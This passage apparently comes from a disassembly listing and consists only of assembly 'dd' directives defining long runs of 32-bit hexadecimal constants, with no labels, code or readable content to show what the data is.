		dd 7ED3121Fh, 8310245Ah, 40A4E220h, 0E71BCF68h,	3BA01DA3h
		dd 2301FD48h, 933F6544h, 0DE9058EDh, 0BE81A9CFh, 0F80860C7h
		dd 1880A3C6h, 21C06A1Bh, 0CCF452A9h, 0B8C62A00h, 9FDF3DA0h
		dd 4030F5E2h, 2FF22296h, 0E0FFFB2Dh, 0EA0C8BEh,	4B7513AEh
		dd 0F883EE29h, 282C6E06h, 0DC04CFD8h, 34932C83h, 9347E8DFh
		dd 19720098h, 0A366D5E6h, 0B30248ADh, 2C651A07h, 0F262C020h
		dd 22B89AF3h, 1D04CD3Fh, 1A9538EBh, 94BC0091h, 0EF6894B3h
		dd 0A46A51ABh, 0A58FF068h, 0AA28AEF7h, 0F361E48Fh, 2996833Ch
		dd 20D0205Ch, 93BA7F6h,	6490009Ah, 3D194FCDh, 0BD2D81CCh
		dd 14E326D0h, 6E51EA47h, 0B02482ADh, 0D6743E5Ah, 58DED11Fh
		dd 4135F14Eh, 0A3F8A776h, 0A013B00h, 0AE66A039h, 67D500EEh
		dd 6E60C406h, 49C22571h, 0A38E7450h, 39883B4h, 65F6C3A9h
		dd 0FDA0BC36h, 9F00200Bh, 81D012C8h, 0B9763A1Dh, 0D7F80078h
		dd 0DF528680h, 4E583B14h, 517A8C4Ch, 82EF0233h,	145BEBF7h
		dd 1D931460h, 2A980C04h, 44C987F3h, 78B576CCh, 0CAA40CD2h
		dd 944165B2h, 210083E2h, 51D86EEBh, 943D7ED2h, 9DE68768h
		dd 142A38Eh, 4194A08Fh,	0FD39778Dh, 325C8051h, 0BB8598Ah
		dd 8430CADCh, 0C0554598h, 33080EDDh, 0ED96CF0Eh, 70640FEh
		dd 58515Ch, 0A23AE7F3h,	0D3564576h, 5D5271C0h, 1178B7Fh
		dd 0DF601684h, 34E86B83h, 0E500962Ch, 6C67C1EFh, 0B9A1B2h
		dd 66EAFFB5h, 5DB3BF69h, 7E629B15h, 486507ECh, 0A48316DFh
		dd 0D7E6A038h, 0B140001Ch, 113302ADh, 6C968297h, 0A0C5C080h
		dd 754FE659h, 12EE009Fh, 64D00A6Ch, 489188E8h, 69657E09h
		dd 0A4306840h, 0B8215DB7h, 0F000E022h, 8B91B925h, 60FA1513h
		dd 0EF3E199Ah, 443A6583h, 1D3580DFh, 60891AD7h,	8BF54806h
		dd 7C5E7000h, 8B03BF0h,	403C6307h, 3000C7E6h, 0D4504h
		dd 3BA6E244h, 0BAD95378h, 946C262Ch, 40843042h,	78AB52F7h
		dd 27E90001h, 0AEB1E2EEh, 64008BD0h, 9CF7991Ah,	0E07FDFB4h
		dd 25440127h, 0D2842037h, 0EE3DE821h, 10C2FC00h, 7EE7B708h
		dd 61DA6250h, 3C448263h, 0D1A3991Ch, 0F5457180h, 132391Bh
		dd 0AD196940h, 808E3BF3h, 0C4E9F429h, 0FC613B4h, 7F2FA5A4h
		dd 0DDEC2641h, 6B1FF820h, 54A63502h, 0C823B55Ah, 297F1D00h
		dd 0B4BF48h, 970151Ah, 9E00F007h, 9CA68EB5h, 7C2B77h, 14DCA30Eh
		dd 0A2471A70h
		dd 8EB81700h, 40A05D29h, 537204EDh, 90237690h, 1FCA0EACh
		dd 28497900h, 2BE08EC6h, 0E2C90C65h, 5AB0DB98h,	1C14D324h
		dd 0A2817100h, 0C73021h, 3FE6FBE0h, 1C2EB8BEh, 50BD803h
		dd 802D043Ah, 1D399F29h, 440966C2h, 90CE7815h, 414DAD44h
		dd 2AD5FD00h, 314549AFh, 0EAEB0129h, 94D0A261h,	597870E5h
		dd 0C090734Ch, 4628E0DAh, 9C66F8EEh, 5BF95030h,	0B6F37600h
		dd 0FC05A95h, 0E45C0558h, 32C3FF7Eh, 0C2289D8h,	0A49E80E3h
		dd 7931225h, 51066428h,	5F48913Eh, 0B43C40F2h, 67187E3Ah
		dd 0E94937D9h, 68C30939h, 64A1B53Dh, 8BD4EACEh,	104712E1h
		dd 1F79BBA0h, 80BA05B4h, 3D1E7076h, 2F000DDCh, 0F286DDABh
		dd 14980981h, 0F00B3703h, 0CCCFC24h, 0EBA96783h, 163C5903h
		dd 0E01DA795h, 7D6DB94h, 30047A0Ah, 0CC1A15h, 98C6099Eh
		dd 5B010240h, 379A0B7h,	19869D61h, 0A1D50BD4h, 6725908h
		dd 20841290h, 0BF1629F8h, 0E37E31E8h, 89497401h, 7E0FCDDCh
		dd 14EF6C40h, 25CB7DF5h, 54802EEAh, 0C0299A10h,	29C07FF2h
		dd 0E721EEB4h, 1941FF2h, 0FFFC7D64h, 43357080h,	0D33C15CCh
		dd 616518A1h, 214825C7h, 83BC204Ch, 2D809254h, 49B04800h
		dd 0BCE19953h, 724915Ch, 0A03FA1D2h, 37448834h,	0DDE22C1Dh
		dd 1A3DB89h, 0F7751220h, 0B135D7ECh, 0A0F48010h, 93274EEDh
		dd 0D6FC23B8h, 2B943104h, 60C1980Dh, 40A6D5DFh,	0BB0100B3h
		dd 0C745BF1Ch, 0FF3C8300h, 3BB1BD63h, 199FFFC4h, 7538Fh
		dd 132D5D35h, 1492DC88h, 798EB418h, 98CE1679h, 40764ABCh
		dd 0A85DF848h, 29185F35h, 0E94ED451h, 75A404D0h, 84063B83h
		dd 66F8C108h, 4E7822B5h, 992D6C40h, 8B30A2h, 52093E19h
		dd 4483B565h, 397F906h,	62684B9Ah, 1CD78FCh, 1B79F0C4h
		dd 7096EAF0h, 0CF010A5h, 94120060h, 551F62B2h, 2A027E66h
		dd 9FD40280h, 5E8C68CAh, 2CB50021h, 0C9DFCCFFh,	0E94AFC0Eh
		dd 0E501B420h, 0F74D0EC3h, 81C04292h, 174E95D0h, 680A4003h
		dd 0A0064BD8h, 48CBBD77h, 0A400401Eh, 0E0B55B4Fh, 0ED72B683h
		dd 2C2A4Ch, 0E65C5199h,	5A247EF9h, 4744238h, 9848E13Ch
		dd 0AF1BA4B6h, 0C8D1D15Ch, 6C3EA6Ah, 757F50CCh,	90019D2h
		dd 0C7EEAFF0h, 3DE756E8h, 3C4C9577h, 0B9DB300h,	0F501105Ch
		dd 80B46B4Ch, 90B83B2Dh, 11E90269h, 0E4855F7Eh,	162CA880h
		dd 0E058E592h, 98E09ED4h, 4EDEFAD0h, 68104387h,	4A985648h
		dd 3B00E75Eh, 2CAD13D5h, 0F0E3AC3Eh, 1118675Dh,	4F9CA304h
		dd 7F1C2801h, 0EDD475A9h, 1CB449ACh, 0D17389F0h, 7220C469h
		dd 7C660014h, 7A23C5Eh,	9C3D4C5Bh, 10ECF380h, 61007152h
		dd 77A43B81h, 7E4DFDEEh, 0E0A23B36h, 9AB8148Ah,	0FE98090Ch
		dd 40687490h, 1EF8CF38h, 694C79E6h, 12C59ECh, 6E2350E4h
		dd 0DC701159h, 374EE98Eh, 0C640D020h, 0EB600AAh, 76812913h
		dd 800A05D0h, 14A7A431h, 65E55B80h, 8B19B7h, 7FCD1E24h
		dd 3B13AEB2h, 0F4FF9704h, 4CF47A15h, 4E3204BCh,	822A3A02h
		dd 0B044A018h, 287F1B14h, 9213A9Ch, 107B5D15h, 9F2C08h
		dd 0EE564689h, 63C8A454h, 0C738EF6Eh, 0E1445B27h, 1C9F8F80h
		dd 3F990FB6h, 0BEC0309Eh, 9818CDF3h, 5100E475h,	6A83A8B8h
		dd 0C243C6h, 0FA89B20Ah, 14D250F6h, 0CAC4851Ch,	21B59B84h
		dd 48AD34C0h, 0B38A0093h, 0DD70D4AFh, 94915D1Ch, 0FD258500h
		dd 3BF2418h, 42F4D228h,	0C9907450h, 9771EE01h, 44251A01h
		dd 0EF0636E8h, 6C10E8A7h, 950098E7h, 3E9DC751h,	0F139CDh
		dd 0C07CDE47h, 67684F28h, 5A3B2502h, 808F2459h,	0DBDA1CD0h
		dd 5D0B2E82h, 0B52C4000h, 0C707AECEh, 79C5BFA8h, 0EF5C14E0h
		dd 0F34A00CAh, 83F0B5B3h, 460FB4CBh, 63A80AE5h,	0C8B6AE16h
		dd 0B6399723h, 4CA440B8h, 9F000DC8h, 0DDCCB248h, 3EF796E2h
		dd 788B6183h, 480F5B34h, 0AE188876h, 1721CE42h,	7087C24h
		dd 505F9190h, 0CC00279Ah, 0DDA8F182h, 94B25EF3h, 2A6903D4h
		dd 4173E7A6h, 7C8C7800h, 0C4BBCC64h, 8405048h, 18947AA3h
		dd 598D65DEh, 6B124867h, 0C328FDFh, 0BC088076h,	4FDE0A75h
		dd 1B0C4051h, 14CC5D82h, 0C8F8914Ch, 13B664ADh,	0F01C6843h
		dd 0CEF80012h, 0F332622Eh, 21FE65E9h, 0EA16C096h, 0B21A08Eh
		dd 188C4D0Ah, 64218317h, 0D0F39848h, 3DF70C0Eh,	0B1808A69h
		dd 895BAE7Eh, 0D162629Eh, 680AE360h, 0B984596Ch, 24D03A50h
		dd 21F00E4h, 9504D580h,	1848E2D8h, 76A6020Eh, 52EB7329h
		dd 3A312D4h, 829805F1h,	0B5D4C19Fh, 0C6D910BBh,	8063E7A9h
		dd 35E40E07h, 8420544Ch, 0C8080913h, 8A432882h,	0A9034C44h
		dd 5A451D0Dh, 34103B5h,	28E9EE27h, 43528077h, 0F01D12C8h
		dd 0EEBB100Bh, 32D607C8h, 6001D4DFh, 0A3DDA9CEh, 28B1DE90h
		dd 85AAD900h, 14DF4E6h,	0CBEC7413h, 72A13C17h, 42031474h
		dd 58662434h, 5D1B923Fh, 0F96CA4h, 764B5FAAh, 0DE56DAC8h
		dd 0BA7F400h, 0BD1CAF99h, 0B22D0049h, 0CFADD9Eh, 6907A3F5h
		dd 0CA5E7A40h, 19455961h, 0BC041C63h, 3CF8B7Eh,	0C5EB1B9Fh
		dd 4089308Ah, 0E99F6CE8h, 77A91200h, 68C61030h,	4B59014Ch
		dd 0B291F5Ah, 1C29A4CFh, 1001F829h, 0DF82BA05h,	1BCB4E8h
		dd 487672B8h, 0C4A07083h, 0B92FCFFFh, 0C10C2B96h, 4032695Ch
		dd 7700D222h, 4ADA6814h, 0CCF3864h, 79B70EE8h, 7456030h
		dd 2FC0507Ch, 8A7BB087h, 127A0600h, 6573943Fh, 80820203h
		dd 630E6676h, 9544E870h, 0EA4C005Ch, 0C3B421E9h, 662828FFh
		dd 40061491h, 0D993DC98h, 0CD1C0061h, 8BAD9C32h, 0F300BD12h
		dd 0E3B8973Eh, 0B95A379h, 37AFE2ACh, 8810F08Bh,	0CD2C9F12h
		dd 7660B414h, 502760D1h, 0A959FCC4h, 38D8099Ch,	48DC0170h
		dd 0A9FC9D12h, 9F56C053h, 781370BEh, 3C256C13h,	0B900ECF2h
		dd 1F12DE97h, 0B2007D87h, 0A89643E8h, 3A0A7C17h, 551761FBh
		dd 2458C05Eh, 0AC90B539h, 9040B776h, 5C0134CEh,	0E4248089h
		dd 30B670BFh, 0B34D6080h, 1E679D08h, 4155F72Bh,	0C1EEC58h
		dd 6E84C0A1h, 18442BFDh, 6349DBFFh, 62204880h, 3E18D086h
		dd 7278CDBFh, 848F40EBh, 0BE8C6354h, 9DAF2B1Eh,	0FFDDE100h
		dd 0B8DC5939h, 0B300060h, 0DBABDE3Fh, 8A0D10Fh,	36175383h
		dd 0DC205198h, 1FCE868h, 5452CC1Dh, 47EA605Ah, 98801834h
		dd 887E45C3h, 0D4920229h, 3E2D6B39h, 6C721361h,	83A00950h
		dd 9430202Bh, 3D69F85Ah, 4796E99Dh, 3000BE30h, 0ADC56202h
		dd 66D43AE7h, 4043E11Eh, 37EA38F2h, 0E62667DDh,	7958845Ch
		dd 0B5063892h, 3DBA1D00h, 2F29562Eh, 12D3D238h,	2C00F520h
		dd 0B8EFCE3Bh, 86E3011Bh, 5E7FA3DCh, 754736Dh, 13384D64h
		dd 0A4F4D9C2h, 5CE43C80h, 0A2CF003Bh, 0E14CA9C7h, 870129C6h
		dd 74AD522Bh, 76F450C5h, 0FBC0407Bh, 9924FD02h,	541A802Fh
		dd 4240400Ch, 0F63F5379h, 0D6D08021h, 0DD890B6Bh, 285A0012h
		dd 228664BFh, 0BA506DB4h, 74B8C14Ch, 0ACF4AF26h, 89E37809h
		dd 0F3A0A238h, 40E85C3Bh, 0F0236988h, 0CDCB0209h, 0C440320Bh
		dd 7B4D304Ch, 0FADBEF31h, 0F988CF00h, 0E4F51B9Eh, 745F58DEh
		dd 5A7EB840h, 3A142167h, 395Ah,	15010CCBh, 7FD8A4CEh, 14BE2CDFh
		dd 0AEC5013Ah, 333712F8h, 0E37C0008h, 4AA00940h, 9F3E005Eh
		dd 92BC67A3h, 0C7718D8h, 3438D374h, 4AB83C4Bh, 0E7602481h
		dd 3F68EF10h, 0ABC9BC05h, 30F48295h, 4EB3006Bh,	0C8B8A9FAh
		dd 6A007C2Fh
		dd 700E26C1h, 0E7D1F6h,	68A3C927h, 0EF364750h, 9471309Ah
		dd 5A89EE00h, 0CFC06237h, 0B1587DE6h, 218D0054h, 0FFD71BDEh
		dd 0ACC1DF26h, 0E2923510h, 156700A0h, 36411D91h, 0C43B03A3h
		dd 0DDAAD2A0h, 4E2CA0FFh, 3A00790Fh, 2B5E5DBCh,	0E7258439h
		dd 1B82F838h, 288736E8h, 0FE671F68h, 414771D9h,	0A37870CDh
		dd 24702B4Ah, 451990h, 314F89BAh, 47D7D524h, 4C5D8300h
		dd 5B6B4173h, 81ED0093h, 0E97C5A43h, 0C078ABDDh, 946D7600h
		dd 0B03A90BEh, 564700F6h, 26DB8388h, 98271B16h,	0B264A782h
		dd 228C1561h, 4B81A03Bh, 941E1EEAh, 0E786DF67h,	902788h
		dd 89A4D6FCh, 64162A7Ah, 42042103h, 0F8CEC7D3h,	2F0AD1A3h
		dd 74902730h, 2EC337B2h, 0C843DA34h, 5E24FBE8h,	0B80405Dh
		dd 0C5AA3879h, 13F24700h, 0B90EB33Ch, 6FA922CBh, 0F440B89Ch
		dd 47C9ABBh, 635047CDh,	0D1CC0FDh, 0A407087Ah, 0C5EBE0Ah
		dd 8ECCE0DEh, 743DDD7h,	397D8D3h, 0BA92439Dh, 81518D0h
		dd 3830DB00h, 503BCC4Eh, 0ED550173h, 9EB527A7h,	8DC4401Ah
		dd 8A4E5965h, 7F1DF042h, 5BBCC667h, 0B71C2060h,	5F1C9546h
		dd 9ED8E879h, 74507E19h, 0C188BE01h, 0DCFF90C2h, 60001507h
		dd 8C7AB731h, 91825FE7h, 9438084h, 8D51DD80h, 9BF7C25h
		dd 878C92CCh, 9C1089CDh, 2AD96Bh, 0C9364C62h, 0DD57B2B4h
		dd 21B52512h, 3B4DD000h, 0B0EF80FBh, 144B4CA4h,	5900FE9Ch
		dd 0D539D293h, 6802B7A3h, 104CB7Ch, 82348EA8h, 56EFF71Eh
		dd 7BB24070h, 1604982Dh, 3D2534B5h, 0BE04B4h, 0DB55768Ah
		dd 0E1E60D08h, 0CBCC0901h, 0AC4FFD1Bh, 64874F2h, 60B98C83h
		dd 80E558C8h, 58F37CF8h, 0CB009A9Ch, 54B8DA65h,	93CC20h
		dd 39BD471Fh, 4D3D6860h, 0AF5C30E7h, 7B4E3F01h,	0D93EE2FFh
		dd 0AE404433h, 0FC390048h, 4987519Ch, 222559B6h, 0D4104053h
		dd 1070810Bh, 0A55510h,	0CCA0719Fh, 0F55A1F47h,	0AC1AE501h
		dd 15D10E70h, 7527C380h, 1C0363BEh, 66B38D05h, 0C0C07BD5h
		dd 299FB4h, 94BBCE09h, 0E5CD9E7Ah, 0D905D8A6h, 3D73A87Bh
		dd 1F10F0A4h, 415A56DBh, 1E77CEBAh, 0ACD5E041h,	0C4656825h
		dd 0A1B1003Ch, 0C746B602h, 0A2D9814h, 960C10D8h, 504001E4h
		dd 57FB4722h, 0A06434E0h, 95EB0103h, 6B511BB3h,	5C0250E8h
		dd 34008E90h, 12CF6013h, 0CDDB489h, 7EB1D55Ch, 4AE4FE3Ah
		dd 1DD774D8h, 2112A13h,	9FB77D14h, 7743CC5Eh, 0F2DDC85Ah
		dd 9CA4000Dh, 0C428F62Ch, 7F0086A7h, 5AE6BEBAh,	6756F73Fh
		dd 625C5020h, 940DD83h,	0B500B7CCh, 0B4115E31h,	204230Ah
		dd 0C426D8E2h, 7D603B9Eh, 43FE70CCh, 4646448h, 0C78FA86Dh
		dd 0DAE585C0h, 0A43F5859h, 68EA3480h, 82027C78h, 131BB10Ch
		dd 0FE7C5ADDh, 64E44CA6h, 0C9D23B16h, 0DC73A0h,	3D3ED9B9h
		dd 984EBD98h, 0B54760Bh, 0D824A8A2h, 76844060h,	0AEF1909h
		dd 64D80ECFh, 0D0E8E8DBh, 0CB4DC19Eh, 0E11BAA95h, 0AB43C6B5h
		dd 766D688h, 0AC0B4E2Ch, 0C8C83E12h, 808D0B7Bh,	6002E056h
		dd 306436DEh, 6D0B1400h, 95B62477h, 0F8ED58D4h,	1BC5AC80h
		dd 66E5A3F0h, 0E0F05138h, 321303D8h, 0F8E3F488h, 0BEA79800h
		dd 2CE0757Eh, 6DD5B00h,	24BFA21Ch, 668103DFh, 0B9A4FA67h
		dd 0CF5C3000h, 0E06C0A83h, 0F3172518h, 40A478E3h, 0B094DBFFh
		dd 52700BA3h, 7F804BB6h, 0CD916121h, 3C30235Ah,	3FC212EDh
		dd 0F87F529Ch, 37D3000Ch, 0BD72F5Fh, 720B8CCFh,	82FCDF6Ch
		dd 0E2C7FE7Ch, 0C8A48488h, 79B85946h, 7E908497h, 5A00C050h
		dd 34A1A392h, 230E9397h, 20802A7Fh, 356CFFD3h, 762FF0E4h
		dd 0C7AE00D8h, 0C9CFE045h, 19683CF3h, 0B507E4A1h, 3DE44BE3h
		dd 0EC3FFCC8h, 0CF71F1h, 0C3874716h, 0E70E8D28h, 98072000h
		dd 0A3BEFCD7h, 6D40C3F8h, 30BCEAB1h, 127125D2h,	161AB331h
		dd 5100AB60h, 0A45586D8h, 0D3831238h, 0BBE0D8E5h, 0D02A3Fh
		dd 0FD15EB90h, 9EAC81F1h, 64149D60h, 0AD8A441Ch, 4C073A40h
		dd 0C9DEC00Ch, 279B863h, 0B9CBC8FDh, 0A471D73Bh, 24C86410h
		dd 0E8502B2Dh, 3F45F6Ch, 71BEE4CEh, 5A38A0AEh, 8994C859h
		dd 3FDCC884h, 70EE0911h, 0CA8278B2h, 0C07CD2B7h, 85357208h
		dd 466092Fh, 1658BE0h, 0EA5A7ED9h, 0A4632180h, 463E9EBEh
		dd 8EE0DC01h, 6DB3F4AFh, 0BC3C5440h, 2B13001Dh,	3A428422h
		dd 126FEAC4h, 0F49FA010h, 7481CAEEh, 0E70202B2h, 910CF51Bh
		dd 0C30A80DAh, 0CC40BDC4h, 0D37C4440h, 0A81800DBh, 11ADCCFEh
		dd 0D7A01CBDh, 0D09E8127h, 2E001847h, 22598EDDh, 0D93DBA73h
		dd 0A6705012h, 1BDB1412h, 6FE5D004h, 8727A49h, 0DA38871Ch
		dd 0E49AA180h, 1E1232E3h, 0F96E935Fh, 3B46BD80h, 1A6380A9h
		dd 7C670109h, 2DE480F5h, 4F2374DDh, 1D1840AEh, 36C57A15h
		dd 0D87C7729h, 72087E80h, 2CDDE452h, 4BCA11Eh, 9C31167h
		dd 0A510A038h, 524574A3h, 5204AC78h, 808B7FD3h,	0AE9F1620h
		dd 0EAF4E107h, 0E444C33Bh, 6D039CE8h, 621C3E06h, 8D5EF3C8h
		dd 0D3A03A4Ch, 600CE460h, 0EE720115h, 128CCD6h,	2CCBF076h
		dd 0C881F902h, 0D2EF1D3Ah, 0EB3D22E4h, 2008C7Eh, 0B1A70598h
		dd 34D690h, 0EF32DC44h,	0AF4097FAh, 61357725h, 24D2B540h
		dd 8590BCCEh, 4383DA76h, 0E939A8B8h, 0C29000C1h, 27045EB3h
		dd 785003C6h, 0ECB4D40Ch, 5C0CF979h, 0B4AF7684h, 488B8034h
		dd 6BE5FECDh, 65F1AD00h, 229B1139h, 76FB00BBh, 45AB9F36h
		dd 5F12DC1Dh, 88148083h, 78B3C0F0h, 7D4BD899h, 708A24BEh
		dd 34604114h, 40B7EC16h, 0A240500h, 54520EA1h, 0D3921E10h
		dd 8BA5A90h, 4940085Ch,	24F7F3Dh, 0B27B512Dh, 444A47F8h
		dd 0FB407871h, 1D4B86E3h, 0C0CB8480h, 105BCAD1h, 8709A76Ch
		dd 8927764Dh, 0D6208075h, 4C9B75A3h, 5EC0F863h,	74D31F76h
		dd 3009276h, 0CBF950ADh, 1262D4F8h, 0C424F3FFh,	8224F8ECh
		dd 5C80E668h, 75F7C018h, 6A5DFAEDh, 0DF5C0088h,	2598B883h
		dd 0B9EC9E76h, 0AA9D6A80h, 0DE9C0EFCh, 1F6BF601h, 3BE797F3h
		dd 5074212Fh, 0A01415D9h, 97D6067Eh, 304B98h, 9C098715h
		dd 85021EE9h, 2883F900h, 8A5B69A7h, 40B8BC1Bh, 0C1955E8Dh
		dd 22857000h, 0C7E1E599h, 6A2E1F28h, 0A4CEC24Eh, 0DCC60E26h
		dd 0CF512C00h, 79F82AE8h, 60F31183h, 5E1B0287h,	741AA681h
		dd 0BF5A88E4h, 9014760Ah, 94447D13h, 6345B9FEh,	78248009h
		dd 0A305EC6Ah, 8088A24Fh, 0B8F51408h, 0F01039A7h, 9E720C02h
		dd 0E0AA3D00h, 567167F4h, 0A5924D4h, 40FC2E68h,	3D9C5A9h
		dd 23DE60Eh, 6782A7A4h,	4000E085h, 843348A1h, 5DD20746h
		dd 0E03D2A95h, 1BC69460h, 1F5E8A0Ch, 4F679123h,	40149002h
		dd 42004879h, 4E346C54h, 24F65D16h, 4B0BB78h, 490218Ch
		dd 0AF436184h, 7C422B02h, 1C884B58h, 5D90083h, 50D7D2A6h
		dd 5E62631Ch, 10E872B1h, 10B6FED4h, 6E97B740h, 44A0D632h
		dd 48E4E18h, 58ED5B34h,	40C5131Ch, 40DCD3ECh, 59145DE9h
		dd 84D43362h, 0D61EC0A1h, 0BF488AEh, 781B258Ch,	0C1291848h
		dd 8A4B2F0Fh, 7DA940FEh, 4AAEEF1h, 763C33FDh, 0A638C090h
		dd 10096261h, 0A9CED719h, 8A3D0664h, 5CB01D60h,	8EDE0764h
		dd 884D3412h, 2BED7EF0h, 95197C42h, 0CFE8E1EEh,	6E927110h
		dd 83C8ED07h, 34B0662Bh, 0CCE2E4h, 950F1987h, 0AED71E5Eh
		dd 0A27A1306h, 22F0EE3Dh, 18112102h, 3F29BEEFh,	0F0960D4h
		dd 19069E2Ch, 34869166h
		dd 11149438h, 83DB0CA5h, 0D4317Dh, 0CBEFAD13h, 0EAECC049h
		dd 0D0918903h, 9BE4BA7Dh, 0E6481033h, 96B2C805h, 29D0203Ch
		dd 33014A7Dh, 65B76F48h, 7EF056B0h, 0C881B588h,	0CD1D64h
		dd 767FFFD2h, 80749918h, 0F56F690Bh, 0E200BF5Dh, 53E81296h
		dd 44912Eh, 7443C95Bh, 829808C0h, 381D410Bh, 6071DDh, 0F0034CF6h
		dd 0C3380647h, 127C7C59h, 85B8072Ch, 5A229901h,	0CC22C7DBh
		dd 7C6C117h, 91385034h,	34B6E294h, 0E8445F08h, 0AC24757Eh
		dd 3D9A0074h, 96D5FE51h, 0E60172E4h, 0E7F917C0h, 0CF6D5Bh
		dd 0BE2BEB31h, 93761DADh, 0ED7A500h, 0AB8C7295h, 79EA0EBFh
		dd 300F3ACFh, 78C87F46h, 88EF3C20h, 0BEFC6Ch, 0FFCB22D0h
		dd 0A6F653C7h, 9CA2C900h, 392FEF91h, 725F00AEh,	7EBB8DD7h
		dd 0A2B50AFFh, 8F926514h, 81BE8864h, 0ECC3832Fh, 0B9A04437h
		dd 9684015Ch, 0BA2987FBh, 14A4ACECh, 0FC1BD105h, 0C431F210h
		dd 0CD48EBA2h, 84B4D08Bh, 21C09DB6h, 0F5FDBE59h, 0D6315424h
		dd 3BB40361h, 40FFD75Ah, 1A88DB6Bh, 16FFEB3Bh, 402996ECh
		dd 4C8DB05h, 74C05CBEh,	2F4CD003h, 64813B1Bh, 569C4871h
		dd 3070418Ah, 88C0D848h, 0AE00CE64h, 0BE5801D6h, 0B676E78h
		dd 0A35E3FCDh, 10D1F411h, 0BC7C399h, 0B2CACE4Ah, 21C70C8h
		dd 1037EF4Fh, 7FA2E7C1h, 455AB048h, 6DA4E5DDh, 40F0401Ch
		dd 96C654A9h, 0B8915C19h, 45305625h, 0A6A05C0Bh, 48C5B301h
		dd 6DBFFFE9h, 514E16B8h, 78C0B7h, 2362FED0h, 9F55E5B7h
		dd 0C3563200h, 58349C70h, 3BF499B1h, 59DB9582h,	45AD272h
		dd 98B4A09Fh, 1F749Bh, 31D835E0h, 6A1DC551h, 7E7DF00h
		dd 69772343h, 48C8C8FBh, 9F22F264h, 90F4EB25h, 0D0F90197h
		dd 94417F34h, 1C393024h, 37E1F409h, 64F9EDh, 0D5439980h
		dd 8158C873h, 0C5CD2538h, 0D4A3145Ch, 4CD45711h, 2F088008h
		dd 5E0A7D6h, 0B881B3FAh, 0BCCE276h, 0E8400966h,	0F7D888h
		dd 8612CA83h, 3A708748h, 0BFC59801h, 1DA61F10h,	866C2820h
		dd 1F684A44h, 253E5C5Ah, 80FC2C83h, 8459F10Ah, 2B44A8D3h
		dd 0A223BE40h, 33001676h, 73B97E5Eh, 0C209DFh, 0F962FD87h
		dd 8EE83652h, 3927A4FCh, 5900A24Ah, 3E88798Ah, 25C80CCDh
		dd 84776781h, 68F6335Eh, 0BE7CD964h, 51933894h,	23202820h
		dd 898664Eh, 5D3C007Ch,	0C341E509h, 0B97D07EFh,	11E73Ah
		dd 0A29FC225h, 0B0618FAAh, 0F77117Ch, 0A0904AB7h, 74E6681Dh
		dd 4DF50242h, 0D1957E5Ch, 616F30FEh, 438206E3h,	9103DFCh
		dd 89A75F84h, 0B38AA818h, 26F9CD21h, 935B09F1h,	2B08AC51h
		dd 39DB01BFh, 3EE86B17h, 519F4409h, 0E3350070h,	77C7C8AEh
		dd 36331F01h, 0EF2A16ACh, 804FAC7Ch, 76A52B84h,	8E0918B0h
		dd 44F74BABh, 0C72500ECh, 0D92C42B9h, 7F541909h, 8A444778h
		dd 0B96D0015h, 7A107B11h, 0FA0A2E9Eh, 0B45D1BB0h, 797C5941h
		dd 4B74D8h, 17DEA5A6h, 7B878E35h, 0CBFF3812h, 83FB6404h
		dd 0DB1CB4E7h, 0A4C64D15h, 3D7820A0h, 59519835h, 850B48B9h
		dd 5C511426h, 21D09494h, 8D2B884Bh, 0CCF45D97h,	0FE1E0117h
		dd 9A623CC6h, 4253C835h, 3FB6A500h, 1B598307h, 0E4EE50E3h
		dd 2A7C412Eh, 0AE32C000h, 276220E1h, 0E8A0A62Ah, 7F133383h
		dd 89CD7234h, 508BB584h, 9DB43C60h, 6A3AFC62h, 0F9559D05h
		dd 0B878334Ch, 0AD208673h, 0E0B04C8Eh, 1BBFE722h, 65AE803Ch
		dd 0C2260175h, 68FF3949h, 0B25C413Fh, 645D127Eh, 3E7D0048h
		dd 6E6207C1h, 70004695h, 0DA14094Eh, 1492239Fh,	0BF6CA9F1h
		dd 0C6692Eh, 28C67A15h,	3A0096E6h, 0D8D0CEA1h, 4AE383BBh
		dd 2CBCCC29h, 0D0CCCD5Eh, 21CE42B5h, 8842616h, 3745FB06h
		dd 0B8E0F857h, 20A74EFFh, 0C90860A4h, 0D949AD00h, 62A0ED96h
		dd 0D55D0522h, 0E2C348A9h, 56C6007Ch, 6077FBE6h, 0C7F203D0h
		dd 0CF5138A3h, 2FF90799h, 0F05F1806h, 80F09989h, 0D7560C1Ch
		dd 7C0E5E3Dh, 0A48395EBh, 0ACC44BE3h, 0A00094B2h, 0B650D951h
		dd 0C526EE64h, 6E0FA449h, 0D1501DBh, 206FA7B9h,	6CC69C38h
		dd 0C7ED1000h, 7E6EB6CAh, 0B16500A1h, 130638E6h, 0FA7550DDh
		dd 79B59C00h, 0B94B0AD2h, 82850014h, 7FA45ABDh,	0D10EC37Ah
		dd 0BF3E99B5h, 8994BA04h, 63ED10C1h, 0A8A0CC15h, 0EE0DC701h
		dd 3D547CDDh, 729D11C0h, 0FABD1E10h, 0BA3AFAA9h, 3429BC51h
		dd 327EEE84h, 0A3984452h, 0E2F9878h, 49100201h,	1A900511h
		dd 4C500CC0h, 0CD534584h, 0A03D7Ah, 0D4D9D3C0h,	290F16h
		dd 72CE453h, 3223C3E9h,	0AD978D00h, 406189E1h, 0BD32717h
		dd 853E00E0h, 0B8BEF700h, 82E80E29h, 13C700A7h,	43639578h
		dd 0D400CD53h, 803BDFF1h, 3CDAC8h, 26DB8436h, 0BA917262h
		dd 0C5CC6A5Ch, 7CDCDAD5h, 144F0018h, 0FF3EA769h, 81284C37h
		dd 1E21842Ah, 65C28BD7h, 0D42D6439h, 78009A5Bh,	15C852Fh
		dd 37DFAECh, 7239899Bh,	809C6C08h, 0B6B9F7E4h, 84815F8Bh
		dd 41EC8D54h, 0D56734h,	381DBEFh, 0BE651EA4h, 0C9A16B39h
		dd 59C7997h, 0D89E7994h, 508438C1h, 42D38C29h, 0D22516C8h
		dd 21D61702h, 10B54712h, 0F4B092h, 4ED0CF8Eh, 53943DD2h
		dd 0B612AE7Eh, 4B3DEBDh, 345C1C58h, 3BB0B096h, 3504558h
		dd 605A27DEh, 8C5907D9h, 0A54FA383h, 0ED548D13h, 543C02BBh
		dd 9F2980ACh, 572DAC9Bh, 40D71400h, 0D496D6A5h,	42EC9CFCh
		dd 44844DDEh, 5E68C08Ch, 94A0B0F7h, 68B98167h, 0FB40D464h
		dd 6047CFC6h, 4E715F0Fh, 6C2F2039h, 2D7B0580h, 0D0693BF3h
		dd 28695Ch, 4D64CB4Bh, 7090AE89h, 0B0685334h, 64CE4025h
		dd 0AAD82907h, 62D01380h, 0A7CC8Ch, 23E3CF4Bh, 0C7FBCB4Ah
